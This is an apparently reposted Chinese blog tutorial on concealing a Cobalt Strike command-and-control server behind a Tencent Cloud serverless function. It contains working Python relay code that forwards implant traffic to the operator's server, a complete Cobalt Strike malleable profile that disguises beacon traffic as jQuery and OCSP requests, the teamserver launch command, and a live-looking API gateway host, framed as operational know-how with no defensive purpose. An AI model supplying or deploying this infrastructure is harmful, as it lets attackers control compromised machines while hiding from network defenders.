云函数隐藏c2服务器

云函数隐藏C2服务器 (有手就能配置)

0x01 前言

自己踩到的坑点主要就是
1、上线地址要去掉http://和:80

基于CS,隐藏C2服务器的手法有很多,常见如下:

  • 域前置
  • CDN
  • 第三方代理软件(heroku)
  • 云函数

记录一下利用腾讯云的云函数隐藏C2服务器。

壁画不多说直接开始…

0x02环境配置

需要准备:

  • 注册腾讯云账号
  • vps一台
  • cs(我用的4.3)

1、登陆腾讯云控制台,输入云函数

请添加图片描述

2、新建函数服务

请添加图片描述

3、函数名称随意,选择从头开始,环境填Python3.6,选完后下拉,把代码搞里头。

请添加图片描述

4、打码的地方填vps的地址(代码在下面),填完点完成,后会弹出一个提示框点击 留在此页面

C2地址的地方少掉了一个单引号,当时测试的时候也是一直不上线,最后排查的时候找到了。

请添加图片描述

  • 云函数的Python代码
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

5、点击触发管理,创建触发器

请添加图片描述

6、配置如下,点击提交

请添加图片描述

7、点击api服务名

请添加图片描述

8、点击编辑后到达此页面,路径修改为/ ,点击下一步

请添加图片描述

9、配置如下 点击完成 后点击 发布服务

请添加图片描述

10、配置cs的profile文件

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";

https-certificate 
{

    set keystore "cobaltStrike.store"; //生成的cs证书名
    set password "123456";    //自己设置的密码

    ## Option 3) Cobalt Strike Self-Signed Certificate
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

http-get 
{

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager 
{  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server 
    {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

11、开启cs teamserver ./teamserver vpsip password c2.profile

12、上线地址 需要去掉http:// 和 :80

取service-miuk9icj-1309081727.bj.apigw.tencentcs.com

请添加图片描述

13、创建监听

请添加图片描述

14、上线成功

请添加图片描述

可以看到上线的地址就是腾讯云,成功隐藏c2服务器。配置完后可以自己wireshark抓包看一下被控机器是否再跟腾讯云的ip地址通信。

请添加图片描述

0x03 总结

借鉴一下大佬的原理

  • 云函数隐藏C2原理

马 -> 腾讯云函数api -> py函数 -> CS服务端

CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)

0x04 help!!

之前尝试域前置,用cloudflare的cdn做,只做成功HTTP的,隐藏自己的C2服务器,想做https的但最后就是不能上线,不知道为啥,有知道的大佬可以告诉我一下,谢谢谢谢!

参考文章:https://xz.aliyun.com/t/10764#toc-3

猜你喜欢

转载自blog.csdn.net/weixin_44747030/article/details/122513833
C2